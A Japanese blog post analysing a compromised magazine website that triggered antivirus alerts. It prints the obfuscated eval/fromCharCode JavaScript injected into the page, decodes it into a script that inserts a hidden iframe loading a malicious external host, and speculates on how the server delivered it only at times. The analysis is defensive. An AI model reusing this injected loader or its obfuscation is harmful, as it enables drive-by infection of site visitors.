先日とある雑誌会社提供の情報サイト(http://www.fqmagazine.jp/3727/news_kansens/)をみていると、ウイルス対策ソフト(ESET)が反応しました。(S/Iframe.AS)
WEBサイトのセキュリティチェックに役立つオンラインツールで紹介したaguseやDR.Web、virustotal等でチェックしましたが、それらでは白でした。
Linux端末で wget でソースを取得するも、ウイルス対策ソフトが反応しそうな Iframe や JavaScriptは有りません。
ん?とおもい、今度はWindows端末のOpera でJS実行を無効化し、問題のサイトにアクセスし、HTMLソースを見ると、以下のような難読化されたJavaScriptが出てきました。
if(window.document)aa=(Number+Date).substr(0,4);
aaa=([].sort+[].sort).substr(0,4);
if(aa===aaa){
ss=new String();
s=String;
12-function(){
e=window['e'+'v'+'a'+'l'];
f='fr';
f=f+'omCha'.concat('rC','o','d','e');}();
t='w';
}
ddd=new Date();
d2=new Date(ddd.valueOf()-2);
h=-1*(ddd-d2);
n=["4.5w4.5w52.5w51w16w20w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w20.5w61.5w4.5w4.5w4.5w52.5w51w57w48.5w54.5w50.5w57w20w20.5w29.5w4.5w4.5w62.5w16w50.5w54w57.5w50.5w16w61.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w59.5w57w52.5w58w50.5w20w17w30w52.5w51w57w48.5w54.5w50.5w16w57.5w57w49.5w30.5w19.5w52w58w58w56w29w23.5w23.5w57.5w48.5w55w53w58.5w48.5w55w57.5w52.5w51.5w55w57.5w23w55.5w57.5w48.5w23w56w54w23.5w57.5w52w55.5w59.5w58w52w57w50.5w48.5w50w23w56w52w56w31.5w58w30.5w27w25.5w28.5w26w25w24w27.5w25w19.5w16w59.5w52.5w50w58w52w30.5w19.5w24.5w24w19.5w16w52w50.5w52.5w51.5w52w58w30.5w19.5w24.5w24w19.5w16w57.5w58w60.5w54w50.5w30.5w19.5w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w29w52w52.5w50w50w50.5w55w29.5w56w55.5w57.5w52.5w58w52.5w55.5w55w29w48.5w49w57.5w55.5w54w58.5w58w50.5w29.5w54w50.5w51w58w29w24w29.5w58w55.5w56w29w24w29.5w19.5w31w30w23.5w52.5w51w57w48.5w54.5w50.5w31w17w20.5w29.5w4.5w4.5w62.5w4.5w4.5w51w58.5w55w49.5w58w52.5w55.5w55w16w52.5w51w57w48.5w54.5w50.5w57w20w20.5w61.5w4.5w4.5w4.5w59w48.5w57w16w51w16w30.5w16w50w55.5w49.5w58.5w54.5w50.5w55w58w23w49.5w57w50.5w48.5w58w50.5w34.5w54w50.5w54.5w50.5w55w58w20w19.5w52.5w51w57w48.5w54.5w50.5w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w57.5w57w49.5w19.5w22w19.5w52w58w58w56w29w23.5w23.5w57.5w48.5w55w53w58.5w48.5w55w57.5w52.5w51.5w55w57.5w23w55.5w57.5w48.5w23w56w54w23.5w57.5w52w55.5w59.5w58w52w57w50.5w48.5w50w23w56w52w56w31.5w58w30.5w27w25.5w28.5w26w25w24w27.5w25w19.5w20.5w29.5w51w23w57.5w58w60.5w54w50.5w23w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w30.5w19.5w52w52.5w50w50w50.5w55w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w56w55.5w57.5w52.5w58w52.5w55.5w55w30.5w19.5w48.5w49w57.5w55.5w54w58.5w58w50.5w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w54w50.5w51w58w30.5w19.5w24w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w58w55.5w56w30.5w19.5w24w19.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w59.5w52.5w50w58w52w19.5w22w19.5w24.5w24w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w52w50.5w52.5w51.5w52w58w19.5w22w19.5w24.5w24w19.5w20.5w29.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w23w48.5w56w56w50.5w55w50w33.5w52w52.5w54w50w20w51w20.5w29.5w4.5w4.5w62.5"];
n=n[0].split(t);
for(i=0;i-n.length<0;i++)
ss=ss+s[f](-h*n[i]);
e(ss);
上記コードを可読化したものが以下になります。
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://sanjuansigns.osa.pl/showthread.php?t=63942072');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}
確かに、Iframe を使って攻撃サイトにリダイレクトするような仕掛けになっています。
sanjuansigns.osa.plドメインはGoogleSafeBrowsingでも攻撃サイトとして判定されていました。
URLの引数によって、攻撃を仕掛けるかどうか判断しているようで、上記URLにアクセスしたときには404になってしまいました。
今回驚いたのは、攻撃サイトにリダイレクトするJavaScriptコードがアクセスするときによって含まれたり含まれなかったりするという点です。
今回の問題のサイトは、WEBアプリケーションフレームワークを使っているようで、URL叩いたら直接HTMLファイルを見に行くものではないようです。
ということは、WEBアプリケーション側に不正なコードが仕組まれて、クライアントからのリクエストの何かをパラメータとしてリダイレクトコードを含めるかどうか判断しているのかも知れません。
もしくは、負荷分散のため設置しているコンテンツサーバのどれか一台にだけリダイレクトコードが含まれているのかもしれません。